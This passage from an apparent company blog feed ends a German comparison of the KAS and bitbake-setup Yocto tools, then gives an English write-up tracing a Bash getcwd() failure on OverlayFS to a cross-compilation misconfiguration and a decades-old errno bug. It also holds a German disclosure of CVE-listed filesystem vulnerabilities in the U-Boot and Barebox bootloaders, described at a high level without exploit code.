Diese Schichtung ist nützlich, um große, komplexe Build-Konfigurationen zu pflegen, bei denen verschiedene Yocto-Setups viele Einstellungen teilen.
Sie erlaubt auch das Überschreiben einzelner Werte, etwa kundenspezifischer Einstellungen (z. B. URLs interner git-Repositories).
Bei der sigma star gmbh nutzen wir diesen Mechanismus häufig, um kundenspezifische Einstellungen zu überschreiben, etwa URLs interner git-Repositories.
Das ist zum Beispiel nötig, wenn kein direkter Zugriff auf das interne Netzwerk eines Kunden besteht und wir einen Mirror seiner git-Repos pflegen müssen.
Für neugierige Leser: Dieses git-Repository zeigt eine nicht triviale KAS-Konfiguration, wie sie bei Siemens im Einsatz ist: <a href="https://github.com/siemens/meta-iot2050/">https://github.com/siemens/meta-iot2050/</a>.</p>
<p>Ein weiterer entscheidender Unterschied zu KAS ist, dass bitbake-setup keinerlei Host-Isolation vornimmt.
Es checkt Quellen aus und konfiguriert Yocto, überlässt es aber dem Nutzer, die Build-Umgebung einzubinden und den gewünschten bitbake-Befehl auszuführen.
Das Yocto-Projekt hat seine Widerstandsfähigkeit gegen Host-Kontamination in den letzten Jahren zwar deutlich verbessert, Probleme können aber weiterhin auftreten.
Für Projekte, bei denen Reproduzierbarkeit Priorität hat, bleibt eine günstige containerbasierte Isolation ein wertvoller Schutz.
Wir erwarten allerdings, dass Unterstützung für containerisierte Builds, wie sie <code>kas-container</code> bietet, irgendwann kommt.
Priorität scheint das jedoch nicht zu haben<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>.</p>
<p>Und schließlich: Da sich bitbake-setup in einem frühen Entwicklungsstadium befindet, fehlt derzeit eine robuste Fehlerbehandlung.
Bei Fehlern, etwa semantisch falschen Konfigurationen oder nicht erreichbaren Netzwerkressourcen, können Nutzer auf unbehandelte Python-Exceptions stoßen.
Ich bin aber optimistisch, dass sich das in naher Zukunft bessert.</p>
<h2 id="zusammenfassung">Zusammenfassung</h2>
<p>Im Kern teilen bitbake-setup und KAS viele Funktionen, gehen sie aber unterschiedlich an.
Der größte Unterschied ist, dass bitbake-setup tief in Yocto integriert ist, KAS dagegen nicht.
bitbake-setup steckt noch in einem frühen Entwicklungsstadium, weitere Funktionen und Änderungen sind also zu erwarten.
Wir gehen davon aus, dass bitbake-setup in den kommenden Jahren eine beträchtliche Nutzerbasis gewinnt, besonders sobald es in den offiziellen Yocto-Materialien dokumentiert ist.
Stand heute ist KAS ausgereifter und funktionsreicher als bitbake-setup, daher werden wir KAS weiterhin allen unseren Kunden empfehlen.
KAS bleibt funktionsfähig, egal in welche Richtung sich bitbake-setup entwickelt, weil es keine Anpassungen in Yocto benötigt.</p>
<p>Wir glauben, dass KAS und bitbake-setup voneinander profitieren können. Ein denkbares Szenario ist, dass bitbake-setup als Plugin aus KAS heraus nutzbar wird, um alle Layer zu holen und einzurichten, während KAS den Build des Projekts mit nur einem Befehl und einer einfachen Konfigurationsdatei ermöglicht. Wir erwarten außerdem, dass KAS früher oder später Layer-Fragmente nutzen wird.</p>
<p>Aus Sicht der Nutzer wirkt das leider wie eine verpasste Chance zur Zusammenarbeit.
Hoffentlich werden auf lange Sicht sowohl die Hintergründe als auch der beiderseitige Nutzen sichtbar.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://kas.readthedocs.io">https://kas.readthedocs.io</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://gerrit.googlesource.com/git-repo/">https://gerrit.googlesource.com/git-repo/</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://lists.openembedded.org/g/openembedded-architecture/message/1915">https://lists.openembedded.org/g/openembedded-architecture/message/1915</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://lists.yoctoproject.org/g/yocto/message/65298">https://lists.yoctoproject.org/g/yocto/message/65298</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://github.com/kanavin/bitbake-setup-configurations/blob/3ca04bd170ce76a64b6f09e7098edad0f5c6e559/README.md">bitbake-setup-configurations/README.md</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise</title><link>https://sigma-star.at/blog/2025/06/deep-down-the-rabbit-hole-bash-overlayfs-and-a-30-year-old-surprise/</link><pubDate>Tue, 24 Jun 2025 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2025/06/deep-down-the-rabbit-hole-bash-overlayfs-and-a-30-year-old-surprise/</guid><description><![CDATA[<h1 id="deep-down-the-rabbit-hole-bash-overlayfs-and-a-30-year-old-surprise">Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise</h1>
<p>This blog post recounts a recent debugging session that uncovered a surprising set of issues involving Bash, <code>getcwd()</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, and OverlayFS<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.
What began as a simple customer bug report evolved into a deep dive worth sharing.</p>
<h2 id="initial-bug-report">Initial Bug Report</h2>
<p>A customer reported that OpenSSH scp<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> failed after switching to OverlayFS.
We found the following error in the logs:</p>
<pre tabindex="0"><code>shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Inappropriate ioctl for device
</code></pre><p>After analyzing the report, we realized the message didn&rsquo;t come from scp itself but from the Bash shell.
We asked the key question: why couldn&rsquo;t Bash determine the current working directory, and why did it fail with <code>ENOTTY</code> (Inappropriate ioctl for device)?</p>]]></description><content:encoded><![CDATA[<h1 id="deep-down-the-rabbit-hole-bash-overlayfs-and-a-30-year-old-surprise">Deep Down the Rabbit Hole: Bash, OverlayFS, and a 30-Year-Old Surprise</h1>
<p>This blog post recounts a recent debugging session that uncovered a surprising set of issues involving Bash, <code>getcwd()</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>, and OverlayFS<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.
What began as a simple customer bug report evolved into a deep dive worth sharing.</p>
<h2 id="initial-bug-report">Initial Bug Report</h2>
<p>A customer reported that OpenSSH scp<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> failed after switching to OverlayFS.
We found the following error in the logs:</p>
<pre tabindex="0"><code>shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Inappropriate ioctl for device
</code></pre><p>After analyzing the report, we realized the message didn&rsquo;t come from scp itself but from the Bash shell.
We asked the key question: why couldn&rsquo;t Bash determine the current working directory, and why did it fail with <code>ENOTTY</code> (Inappropriate ioctl for device)?</p>
<h2 id="ruling-out-the-kernel">Ruling Out the Kernel</h2>
<p>Because the issue appeared after the introduction of OverlayFS, we reviewed the OverlayFS source code in the Linux kernel for any code paths that return <code>ENOTTY</code>.
Although such paths exist, we considered hitting them highly unlikely.</p>
<p>Bash uses glibc and is written in C.
We examined the glibc system call wrapper for <code>getcwd()</code> but found no logic that could return <code>ENOTTY</code>.
The wrapper mainly handles buffer allocation and falls back to a generic implementation if the system call fails.</p>
<p>To test this theory, we enabled system call tracing.
Surprisingly, the trace revealed that the <code>getcwd()</code> system call never got called.
Since glibc offers multiple <code>getcwd()</code> implementations depending on the system, we double-checked that we had reviewed the correct Linux-specific one.
We found no code path that bypassed the system call.</p>
<h2 id="bashs-home-made-getcwd">Bash&rsquo;s home made <code>getcwd()</code></h2>
<p>A hunch led us to check how Bash links to the <code>getcwd</code> symbol:</p>
<pre tabindex="0"><code class="language-terminal" data-lang="terminal">$ nm -D bash | grep getcwd
...
000c7b10 T getcwd
...
</code></pre><p>This showed that Bash includes its own <code>getcwd()</code> function rather than relying on glibc&rsquo;s version.
We expected this output instead:</p>
<pre tabindex="0"><code class="language-terminal" data-lang="terminal">$ nm -D bash | grep getcwd
...
         U getcwd
...
</code></pre><p>Surprised, we inspected the Bash source and confirmed it does contain a <code>getcwd()</code> implementation, but guarded by the following:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#if !defined (HAVE_GETCWD)
</span></span></span></code></pre></div><p>Developers originally intended this fallback for ancient Unix systems lacking the <code>getcwd()</code> system call.
On Linux, <code>HAVE_GETCWD</code> should normally be defined.</p>
<p>We confirmed in <code>config.h</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define HAVE_GETCWD 1
</span></span></span></code></pre></div><p>At first, this puzzled us because under normal conditions, the implementation should never compile.
But further inspection of <code>config-bot.h</code> showed this logic:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#if defined (HAVE_GETCWD) &amp;&amp; defined (GETCWD_BROKEN) &amp;&amp; !defined (SOLARIS)
</span></span></span><span class="line"><span class="cl"><span class="cp">#  undef HAVE_GETCWD
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span></code></pre></div><p>Sure enough, our <code>config.h</code> defined <code>GETCWD_BROKEN</code>.
That explained why Bash used its internal fallback.
But why did the system consider <code>getcwd()</code> broken?</p>
<h2 id="cross-compilation-confusion">Cross-Compilation Confusion</h2>
<p>We examined the output of the <code>configure</code> script in detail to trace the origin of <code>GETCWD_BROKEN</code>.
We found this line:</p>
<pre tabindex="0"><code>checking if getcwd() will dynamically allocate memory with 0 size... \
configure: WARNING: cannot check whether getcwd allocates memory when cross-compiling \
-- defaulting to no
</code></pre><p>The check in <code>aclocal.m4</code> sets <code>GETCWD_BROKEN</code> if it can&rsquo;t confirm that <code>getcwd()</code> allocates memory with a zero-size buffer.
Since the build occurred in a cross-compilation environment, the test defaulted to failure.</p>
<p>We discovered that Bash becomes problematic in cross-compilation environments.
Since Bash is cross-compiled for ARM in this specific setup, this made sense.
We then wondered why this issue wasn&rsquo;t more widespread.
After all, both Bash and OverlayFS are common in embedded systems.</p>
<p>Next, we looked into how major embedded Linux projects like Yocto handle cross-compiling Bash.
Although the Bash Yocto recipe didn&rsquo;t mention <code>getcwd</code>, we found this line in <code>meta/site/common-glibc</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl"><span class="nv">bash_cv_getcwd_malloc</span><span class="o">=</span><span class="si">${</span><span class="nv">bash_cv_getcwd_malloc</span><span class="p">=yes</span><span class="si">}</span>
</span></span></code></pre></div><p>Yocto explicitly overrides the test result to avoid the fallback.
The embedded Linux build system we used didn&rsquo;t apply such a workaround.
This clarified the issue.
After we implemented a similar override, the issue vanished.</p>
<h2 id="root-cause-analysis">Root Cause Analysis</h2>
<p>At this point, we had identified and fixed the bug.
But several questions remained:</p>
<ul>
<li>Why did the issue appear only with OverlayFS?</li>
<li>Why did Bash&rsquo;s fallback <code>getcwd()</code> fail?</li>
</ul>
<p>During testing, we observed another error message:</p>
<pre tabindex="0"><code>shell-init: error retrieving current directory: \
getcwd: cannot access parent directories: Success
</code></pre><p>This indicated that <code>errno</code> was sometimes set to <code>0</code>, suggesting no error occurred, yet <code>getcwd()</code> still failed.</p>
<h2 id="overlayfs-and-inode-numbers">OverlayFS and Inode Numbers</h2>
<p>To answer the remaining questions, we analyzed Bash&rsquo;s <code>getcwd()</code> implementation.
On Linux, you can determine the current working directory in two ways:</p>
<ul>
<li>Use the <code>getcwd()</code> system call</li>
<li>Read the <code>/proc/self/cwd</code> symlink</li>
</ul>
<p>Bash&rsquo;s implementation used neither, aiming to support systems lacking these features.
In fact, the fallback dates back to the last millennium.
It used a classic Unix algorithm to reconstruct the working directory path:</p>
<ul>
<li>It calls <code>stat(&quot;.&quot;)</code> to obtain the inode number of the current directory.</li>
<li>It calls <code>readdir(&quot;..&quot;)</code> to read the parent directory&rsquo;s entries.</li>
<li>It compares inode numbers to identify <code>&quot;.&quot;</code>&rsquo;s name.</li>
</ul>
<p>It repeats this process recursively to climb the full path.</p>
<p>Note that this simplified description omits many details.
In practice, you must evaluate both inode (<code>st_ino</code>) and device (<code>st_dev</code>) to work across mount points.</p>
<p>Tracing revealed that the fallback <code>getcwd()</code> failed on the very first path component.
<code>stat(&quot;.&quot;)</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> returned an inode number <code>N</code>, but <code>readdir(&quot;..&quot;)</code><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> returned no matching directory with inode number <code>N</code>.</p>
<p>OverlayFS merges two directories, a lower (read-only) and an upper (writable) layer.
When calling <code>readdir()</code> on a directory, OverlayFS combines entries from both layers without performing full lookups.
It returns the underlying inode numbers directly, unmodified.</p>
<p>This design means that inode numbers from <code>readdir()</code> don&rsquo;t guarantee uniqueness or stability in the merged view.
Two entries might even share an inode number without being hard links.
OverlayFS uses this approach to provide fast directory listings, performing a full lookup for each entry would incur performance penalties.</p>
<p>Conversely, <code>stat()</code> triggers a full lookup.
OverlayFS allocates an inode object that provides stable and unique inode numbers.
That stability is crucial for tools like <code>find</code> or <code>du</code>.</p>
<p>Bash&rsquo;s fallback <code>getcwd()</code> assumes that the inode from <code>stat()</code> matches one returned by <code>readdir()</code>.
OverlayFS breaks that assumption.</p>
<p>We eventually realized that <a href="https://docs.kernel.org/filesystems/overlayfs.html#inode-properties">OverlayFS documentation</a> acknowledges this limitation:
For directories, the inode number from <code>readdir()</code> may not match the number from <code>stat()</code>.</p>
<h2 id="the-role-of-the-xino-feature">The Role of the xino Feature</h2>
<p>OverlayFS can deliver stable inode numbers via <code>readdir()</code> when the <code>xino</code> feature is active.
64-bit systems can encode extra data (e.g., instance numbers) into inode fields to prevent collisions.
This works without requiring a full lookup and does not hurt <code>readdir()</code> performance.</p>
<p>However, 32-bit systems lack this space and the <code>xino</code> feature it not available.
We encountered the original problem on a 32-bit ARM platform, which explained why the issue occurred there.</p>
<h2 id="incorrect-use-of-readdir-in-bash">Incorrect Use of <code>readdir()</code> in Bash</h2>
<p>One question remained: why did <code>getcwd()</code> sometimes fail with <code>ENOTTY</code>?</p>
<p>Upon inspecting Bash&rsquo;s <code>getcwd()</code>, we noticed it misused <code>readdir()</code> slightly:</p>
<ul>
<li><code>readdir()</code> returns <code>NULL</code> both on EOF and on error.</li>
<li>To distinguish between an error condition and the end of the directory list, the caller must set <code>errno</code> to zero before calling <code>readdir()</code>.</li>
<li>If <code>readdir()</code> returns <code>NULL</code> and <code>errno == 0</code>, it means EOF.</li>
<li>Bash forgot to reset <code>errno</code> before the call. For about 30 years, no one noticed.</li>
</ul>
<p>As a result, when <code>readdir()</code> returned <code>NULL</code> with no match, Bash incorrectly assumed an error.
It returned <code>NULL</code> and left <code>errno</code> in an undefined state.
Sometimes, <code>ENOTTY</code> from a previous system call remained, producing misleading errors.</p>
<p>We have <a href="https://lists.gnu.org/archive/html/bug-bash/2025-06/msg00149.html">reported</a> the issue to the GNU Bash project.</p>
<h2 id="conclusion">Conclusion</h2>
<p>This bug hunt revealed several contributing factors:</p>
<ul>
<li>A misconfigured cross-compilation environment caused Bash to use its fallback <code>getcwd()</code>.</li>
<li>OverlayFS introduced subtle inode behavior differences, especially on 32-bit systems.</li>
<li>Bash&rsquo;s fallback <code>getcwd()</code> relied on assumptions that failed with OverlayFS.</li>
<li>A decades-old oversight in Bash&rsquo;s error handling created misleading <code>errno</code> values.</li>
</ul>
<p>While we resolved the issue with a simple build tweak, the investigation highlighted deeper lessons about portability assumptions, legacy code, and filesystem complexity.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://man7.org/linux/man-pages/man2/getcwd.2.html">getcwd(2) Linux manual page</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://docs.kernel.org/filesystems/overlayfs.html">OverlayFS Kernel Docs</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://man.openbsd.org/scp">scp(1) manual page</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://man7.org/linux/man-pages/man2/stat.2.html">stat(2) Linux manual page</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://man7.org/linux/man-pages/man3/readdir.3.html">readdir(3) Linux manual page</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Dateisystem-Schwachstellen in Bootloadern: Ein verstecktes Risiko für Verified-Boot-Mechanismen</title><link>https://sigma-star.at/de/blog/2025/01/dateisystem-schwachstellen-in-bootloadern-ein-verstecktes-risiko-f%C3%BCr-verified-boot-mechanismen/</link><pubDate>Mon, 27 Jan 2025 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/de/blog/2025/01/dateisystem-schwachstellen-in-bootloadern-ein-verstecktes-risiko-f%C3%BCr-verified-boot-mechanismen/</guid><description>&lt;h1 id="dateisystem-schwachstellen-in-bootloadern-ein-verstecktes-risiko-für-verified-boot-mechanismen">Dateisystem-Schwachstellen in Bootloadern: Ein verstecktes Risiko für Verified-Boot-Mechanismen&lt;/h1>
&lt;p>In modernen IoT-Systemen, besonders solchen mit Linux-basierten Embedded-Geräten, ist es zunehmend entscheidend geworden, die Integrität und Vertrauenswürdigkeit des Boot-Prozesses sicherzustellen.
Verified-Boot-Mechanismen, oft auch Trusted Boot oder Secure Boot genannt, bilden das Fundament der Gerätesicherheit, indem sie garantieren, dass während des Boot-Prozesses nur signierter und authentifizierter Code ausgeführt wird.
Dieser Mechanismus ist unverzichtbar, um sensible Funktionen wie Datenverschlüsselung, Authentifizierung und die allgemeine Integrität von IoT-Geräten zu schützen.&lt;/p></description><content:encoded><![CDATA[<h1 id="dateisystem-schwachstellen-in-bootloadern-ein-verstecktes-risiko-für-verified-boot-mechanismen">Dateisystem-Schwachstellen in Bootloadern: Ein verstecktes Risiko für Verified-Boot-Mechanismen</h1>
<p>In modernen IoT-Systemen, besonders solchen mit Linux-basierten Embedded-Geräten, ist es zunehmend entscheidend geworden, die Integrität und Vertrauenswürdigkeit des Boot-Prozesses sicherzustellen.
Verified-Boot-Mechanismen, oft auch Trusted Boot oder Secure Boot genannt, bilden das Fundament der Gerätesicherheit, indem sie garantieren, dass während des Boot-Prozesses nur signierter und authentifizierter Code ausgeführt wird.
Dieser Mechanismus ist unverzichtbar, um sensible Funktionen wie Datenverschlüsselung, Authentifizierung und die allgemeine Integrität von IoT-Geräten zu schützen.</p>
<p><em>Es ist wichtig zu verstehen: Wenn Ihr IoT-System keinen Verified Boot einsetzt, stellen die hier beschriebenen Schwachstellen möglicherweise kein direktes Risiko dar.
In solchen Fällen können Angreifer den persistenten Programmcode jederzeit manipulieren, wodurch diese spezifischen Schwachstellen ohnehin irrelevant werden.</em></p>
<h2 id="einführung">Einführung</h2>
<p>Der Verified-Boot-Prozess stellt sicher, dass jede Stufe der Boot-Sequenz eines Systems authentifiziert und vertrauenswürdig ist. Grob umrissen umfasst der Prozess die folgenden Schritte:</p>
<ol>
<li><strong>Boot-ROM-Validierung</strong>: Das Boot-ROM des System-on-Chip (SoC) leitet den Boot-Prozess ein, indem es einen signierten Bootloader lädt und so die erste Vertrauensschicht schafft.</li>
<li><strong>Bootloader-Verifikation</strong>: Der Bootloader, üblicherweise U-Boot oder Barebox, lädt kritische Komponenten wie den Linux-Kernel, den Device Tree und das Initramfs aus dem Dateisystem und verifiziert deren Signaturen, um ihre Authentizität sicherzustellen.</li>
<li><strong>Ausführung von Linux</strong>: Sobald der verifizierte Kernel gebootet ist, führt das System den Anwendungscode aus. Der Linux-Kernel sorgt weiterhin für Sicherheit, indem er die aus dem Dateisystem geladenen Dateien authentifiziert.</li>
</ol>
<p>Diese Abfolge bildet eine Chain of Trust, in der jede Stufe die Integrität der nächsten verifiziert. Wird ein Teil dieser Kette kompromittiert, könnten Angreifer die Möglichkeit erlangen, beliebigen Code auszuführen, sensible Daten auszulesen oder sich als das Gerät auszugeben. Solche Schwachstellen bergen erhebliche Risiken, denn sie erlauben es Angreifern, bei ausreichendem Zugriff Schadcode auf dem Gerät zu installieren.</p>
<h3 id="kritische-codepfade">Kritische Codepfade</h3>
<p>Jeder Schritt in der Chain of Trust verarbeitet und validiert potenziell bösartige Eingaben. So parst das Boot-ROM häufig eine SoC-herstellerspezifische Datenstruktur, die den Bootloader und dessen Signatur enthält.
Eine Schwachstelle in diesem Codepfad könnte Angreifern ermöglichen, die Chain of Trust zu umgehen und beliebigen Code auszuführen.
Solche Schwachstellen wurden im Boot-ROM bestimmter <a href="https://blog.quarkslab.com/vulnerabilities-in-high-assurance-boot-of-nxp-imx-microprocessors.html"><strong>NXP-SoCs</strong></a> gefunden.</p>
<p>Ein weiterer bekannter kritischer Punkt ist der Bootloader. Je nach Bootloader und Betriebssystem müssen zentrale Dateien wie der Kernel oder Konfigurationsdateien geparst und verifiziert werden.
Ein Beispiel für eine Schwachstelle in diesem Bereich ist die berüchtigte <a href="https://eclypsium.com/blog/theres-a-hole-in-the-boot/"><strong>BootHole</strong></a>-Lücke im GRUB2-Bootloader, die Systeme erheblichen Sicherheitsrisiken aussetzte.</p>
<h2 id="dateisystem-schwachstellen-in-bootloadern-ein-verstecktes-risiko">Dateisystem-Schwachstellen in Bootloadern: Ein verstecktes Risiko</h2>
<p>Bootloader wie <strong>U-Boot</strong> und <strong>Barebox</strong> sind in IoT-Systemen weit verbreitet, weil sie ausgereift sind, umfangreiche Funktionen bieten und von einer starken Community unterstützt werden.
Beide Bootloader verfügen über robuste Mechanismen für Verified Boot, mit denen sie die von ihnen geladenen Dateien authentifizieren können, darunter der Kernel und Konfigurationsdateien.</p>
<p>Ein erstes Audit ihrer Verified-Boot-Implementierungen hat jedoch eine häufig übersehene Schwachstelle zutage gefördert: die Dateisystem-Implementierung selbst.</p>
<h3 id="dateisysteme-als-bedrohungsvektor">Dateisysteme als Bedrohungsvektor</h3>
<p>Die meisten Bootloader unterstützen eine Reihe von Dateisystemen wie ext4, FAT, SquashFS und UBIFS.
Diese Implementierungen sind jedoch oft improvisiert und es fehlen ihnen zentrale Funktionen.
Der Hauptgrund dafür ist, dass Bootloader in stark eingeschränkten Umgebungen arbeiten, ohne Unterstützung für Nebenläufigkeit und mit Zugriff auf nur minimale Ressourcen.
Vollständige Dateisystem-Implementierungen sind für Bootloader daher überflüssig. Sie müssen lediglich funktional genug sein, um Dateien aus einem Dateisystem zu lesen, mehr nicht.</p>
<p>Eine zentrale Aufgabe einer Dateisystem-Implementierung besteht darin, die auf einem Speichermedium abgelegten Filesystem-Datenstrukturen zu parsen, sinnvoll zu interpretieren und die logischen Dateien an höhere Schichten weiterzureichen.
In einem Verified-Boot-Setup mit Bootloadern wie U-Boot oder Barebox werden zwar die Inhalte der Dateien authentifiziert, die Filesystem-Datenstrukturen selbst jedoch typischerweise nicht.
Das eröffnet einen Angriffsvektor: Ein Angreifer könnte bösartige Filesystem-Strukturen erstellen, die die Authentifizierungsprüfungen umgehen und Fehler in der Implementierung des Filesystem-Treibers ausnutzen.
Durch das Manipulieren von Filesystem-Metadaten können Angreifer die Chain of Trust kompromittieren und so die Ausführung beliebigen Codes oder weitergehende Angriffe ermöglichen.</p>
<p>Wir haben die folgenden Schwachstellen gefunden, die direkt oder indirekt mit den Dateisystem-Implementierungen in den Bootloadern Barebox und U-Boot zusammenhängen:</p>
<ul>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57254"><strong>CVE-2024-57254</strong></a>: Integer Overflow in U-Boots Funktion zur Berechnung der SquashFS-Symlink-Größe</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57255"><strong>CVE-2024-57255</strong></a>: Integer Overflow in U-Boots Funktion zur SquashFS-Symlink-Auflösung</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57256"><strong>CVE-2024-57256</strong></a>: Integer Overflow in U-Boots Funktion zur ext4-Symlink-Auflösung</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57257"><strong>CVE-2024-57257</strong></a>: Stack Overflow in U-Boots Funktion zur SquashFS-Symlink-Auflösung</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57258"><strong>CVE-2024-57258</strong></a>: Mehrere Integer Overflows in U-Boots Speicherallokator</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57259"><strong>CVE-2024-57259</strong></a>: Heap-Korruption in U-Boots Funktion zum Auflisten von SquashFS-Verzeichnissen</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57260"><strong>CVE-2024-57260</strong></a>: Mehrere Schwachstellen in Bareboxs SquashFS aufgrund fehlender Patches aus Linux</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57261"><strong>CVE-2024-57261</strong></a>: Integer Overflow in Bareboxs Speicherallokator</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2024-57262"><strong>CVE-2024-57262</strong></a>: Integer Overflow in Bareboxs Funktion zur SquashFS-Symlink-Auflösung</li>
</ul>
<p>Zum Zeitpunkt der Erstellung dieses Artikels sind alle gefundenen Probleme in Barebox Version v2025.01.0 und U-Boot Version v2025.01-rc1 behoben.</p>
<p>Die Schwachstellen erlauben es einem Angreifer mit Zugriff auf das Speichermedium, Filesystem-Strukturen so zu verändern, dass die Ausführung nicht vertrauenswürdigen Codes möglich wird.
Besonders CVE-2024-57256 ist ein lohnendes Ziel, da es einem Angreifer praktisch uneingeschränkten Zugriff auf den Speicher von U-Boot verschafft.
Manche mögen die Relevanz von CVE-2024-57257 und CVE-2024-57258 in diesem Angriffsszenario in Frage stellen.
Sowohl Barebox als auch U-Boot allozieren Puffer, um Filesystem-Daten zu speichern, wobei sich die Puffergrößen aus den Größenattributen der Filesystem-Strukturen ergeben.
Da Angreifer diese Größenattribute manipulieren können, lassen sich Integer Overflows in den Speicherallokatoren auslösen.
Das führt zu Buffer Overflows, wenn die Allokatoren weniger Speicher reservieren, als für die kopierten Daten nötig ist.</p>
<h3 id="auswirkungen-dieser-schwachstellen">Auswirkungen dieser Schwachstellen</h3>
<p>Die Auswirkungen dieser Schwachstellen hängen von Ihrem Bedrohungsmodell ab und reichen von <em>keine</em> bis <em>kritisch</em>.
Wenn Sie keine Verified-Boot-Technologie einsetzen, stellen diese Schwachstellen für Sie voraussichtlich kein Sicherheitsproblem dar.
Beruht die Integrität Ihres Produkts jedoch auf Verified-Boot-Mechanismen, könnte ein Angreifer diese Schwachstellen ausnutzen, um die Chain of Trust zu kompromittieren.</p>
<h3 id="die-lage-unter-linux">Die Lage unter Linux</h3>
<p>Man könnte sich fragen, wie die Lage unter Linux aussieht. Ein Fehler in einer Dateisystem-Implementierung wäre unter Linux natürlich ebenfalls problematisch. Die Situation unter Linux ist jedoch aus zwei wesentlichen Gründen im Allgemeinen besser:</p>
<ul>
<li>Besseres Testing: Dateisysteme unter Linux werden gründlicher getestet, einschließlich regelmäßigem Fuzz-Testing, was dabei hilft, potenzielle Fehler aufzudecken und zu beheben. <a href="https://lwn.net/Articles/685182"><strong>AFL-Fuzz-Testing</strong></a> hat viele Fehler in Linux aufgedeckt.</li>
<li>Verbesserter Schutz: In einem Verified-Boot-Setup werden die vom Linux-Kernel genutzten Dateisysteme typischerweise durch Mechanismen wie <strong>dm-verity</strong> oder <strong>dm-integrity</strong> geschützt. Diese sorgen zusätzlich zur Verschlüsselung für die vollständige Integrität des Dateisystems. Ein präpariertes Dateisystem würde dadurch bereits früh auf der Block-Ebene erkannt, was das Risiko einer Ausnutzung mindert.</li>
</ul>
<h2 id="fazit">Fazit</h2>
<p>Da sich IoT-Systeme weiter ausbreiten, wird es zunehmend entscheidend, die Integrität des Verified-Boot-Prozesses sicherzustellen.
Dateisysteme, in der Chain of Trust oft übersehen, können eine erhebliche Schwachstelle der Bootloader-Sicherheit darstellen.
Wir hoffen, dass Dateisystem-Implementierungen in Bootloadern künftig gründlicher getestet werden, um ihre Robustheit und Zuverlässigkeit zu verbessern.</p>
]]></content:encoded></item><item><title>sigma-star-sa-2024-001: CHAP authentication bypass in user-space Linux target framework (tgt) up to v1.0.92 (CVE-2024-45751)</title><link>https://sigma-star.at/blog/2024/09/sigma-star-sa-2024-001/</link><pubDate>Sat, 07 Sep 2024 00:00:00 +0200</pubDate><author>Richard Weinberger</author><author>David Gstir</author><guid>https://sigma-star.at/blog/2024/09/sigma-star-sa-2024-001/</guid><description><![CDATA[<h1 id="sigma-star-sa-2024-001-chap-authentication-bypass-in-user-space-linux-target-framework-tgt-up-to-v1092-cve-2024-45751">sigma-star-sa-2024-001: CHAP authentication bypass in user-space Linux target framework (tgt) up to v1.0.92 (CVE-2024-45751)</h1>
<h2 id="summary">Summary</h2>
